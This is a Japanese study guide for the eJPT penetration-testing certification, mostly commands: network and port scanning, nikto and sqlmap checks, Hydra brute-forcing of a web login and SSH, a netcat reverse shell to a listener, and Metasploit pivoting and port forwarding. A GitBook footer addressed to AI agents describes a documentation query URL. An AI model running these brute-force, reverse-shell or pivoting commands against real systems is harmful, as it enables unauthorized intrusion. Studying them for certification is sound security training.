> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/useful-resources/certifications/ejpt-certification-practical-guide.md).

# eJPT 資格実践ガイド

eJPT 資格試験対策メモ、実践的手法、コマンド、ジュニア向けペネトレーションテストワークフローのためのリソース。

{% hint style="danger" %}
その **eJPT（eLearnSecurity Junior Penetration Tester）** は、eLearnSecurityが提案するペネトレーションテスト入門向けの認定資格です。脆弱性の認識、エクスプロイト、ポストエクスプロイトを含む基本的なペネトレーションテスト技能を証明します。試験は **実践的** であり、シミュレーション環境を侵害することから成るため、防御的サイバーセキュリティ技能を示したい初心者に最適です。
{% endhint %}

{% embed url="<https://security.ine.com/certifications/ejpt-certification/>" %}

## 偵察

### **ネットワークスキャン**

ネットワーク上の機器をスキャン：

```bash
nmap -sn 10.10.10.10/24
arp-scan -l
masscan 10.10.10.10/24 -p1-65535 --rate=10000
```

特定の機器上の開いているポートをスキャン：

{% code overflow="wrap" %}

```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10
rustscan -a 10.10.10.10 --ulimit 5000
```

{% endcode %}

複数のデバイス上の開いているポートをスキャン：

{% code overflow="wrap" %}

```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10,20,30,36 -oG allPorts
```

{% endcode %}

開いているポートの抽出：

{% code overflow="wrap" %}

```bash
grep '[0-9]' allPorts | cut -d '/' -f1 | sort -u | xargs | tr ' '  ','
```

{% endcode %}

* 出力例： `22,80,135,445,9543,2214`

検出されたサービスのバージョンの詳細スキャン：

```bash
nmap --open -sCV -p 22,80,135,445,9543,2214 10.10.10.10,20,30,36 -oN targeted
```

**LinuxネットワークでのPingスイープ**

```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
```

### **脆弱性分析**

NiktoによるWeb脆弱性スキャン：

```bash
nikto -url http://website.com
```

SQLmapによるSQL脆弱性の検出：

```bash
sqlmap -r request --dbs
```

SMB脆弱性のスキャン：

```bash
nmap -p445 --script"smb-vuln-*" 10.10.10.10
enum4linux -a 10.10.10.10
crackmapexec smb 10.10.10.10 --shares
```

## 悪用

#### **Hydraによるブルートフォース攻撃**

**ログインパネル：**

{% code overflow="wrap" %}

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-post-form "/admin/admin.php:username=^USER^&password=^PASS^:Incorrect" -t 64 -F
```

{% endcode %}

**HydraによるSSHのブルートフォース攻撃：**

```bash
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10
```

## Metasploit – ピボットとポストエクスプロイト

### Metasploitのリバースシェル

**Metasploitを使用してアクセスを取得**

```bash
msfconsole
```

リスナーの設定：

```bash
use multi/handler
set LHOST 10.10.10.10
set LPORT 443
run
```

Netcatでリバースシェルを送信：

```bash
nc 10.10.10.10 443 -e /bin/bash
```

セッションのバックグラウンド化：

```bash
sessions
```

### MetasploitからMeterpreterへ

**方法1 - シェルをMeterpreterに変換**

変換モジュールの読み込み：

```bash
use shell_to_meterpreter
```

セッションとポートの設定：

```bash
set LHOST 10.10.10.10
set lport 443
set session 1
```

Meterpreterセッションとの対話：

```bash
sessions -i 2
```

別のネットワークセグメントにアクセスするためのルートを追加：

```bash
route add 192.168.100.0/24 2
```

**方法2 - Highwayの使用**

* 読み込む `autoroute` モジュール：

```bash
use multi/manage/autoroute
```

セッションの設定と実行：

```bash
set session 2
run
```

**Metasploitからのネットワークスキャン**

* 経由したマシンのポートをスキャン：

```bash
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.21
run
```

### **Metasploitのポートフォワーディング**

* リモートサービスにアクセスするためにフォワードポートを追加：

```bash
sessions -i 2
portfwd add -l 8080 -p 80 -r 192.168.100.21
```

転送ルールの一覧：

```bash
portfwd
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/useful-resources/certifications/ejpt-certification-practical-guide.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
